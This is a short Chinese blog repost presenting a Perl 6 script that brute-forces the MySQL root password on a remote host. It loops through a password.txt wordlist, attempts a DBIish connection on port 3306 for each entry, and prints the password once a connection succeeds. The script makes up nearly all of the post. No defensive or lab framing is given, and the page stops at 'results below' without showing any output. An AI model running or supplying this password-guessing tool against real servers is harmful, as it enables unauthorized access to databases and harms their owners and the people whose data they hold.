一个简单的爆破 mysql 远程连接脚本(perl6)

最新推荐文章于 2024-06-05 14:08:52 发布

转载最新推荐文章于 2024-06-05 14:08:52 发布 · 264 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/perl6/p/8308218.html

文章标签：

#数据库

本文介绍了一个Perl脚本，该脚本尝试使用不同的密码从文件中读取并建立数据库连接。通过循环读取密码文件的内容，脚本使用DBIish模块（假设为DBI）尝试连接到MySQL数据库。

sub MAIN(Str $host) {
  use DBIish;
  my $file = open 'password.txt';
  while $file.get -> $line {
      my $password = $line.chomp;
      say 'Guess: '~$password;

    #错误处理
    try {
        my $dbh = DBIish.connect('mysql', :host($host), :port(3306),
                :database<mysql>, :user<root>, :password($password));


        if so $dbh {
          say 'Done!';
          say 'password is ---> '~$password;
          exit;
        }
        CATCH {
          default {}
        }
      }
      #处理结束
      #当为真时说明连接成功

}

}

效果如下: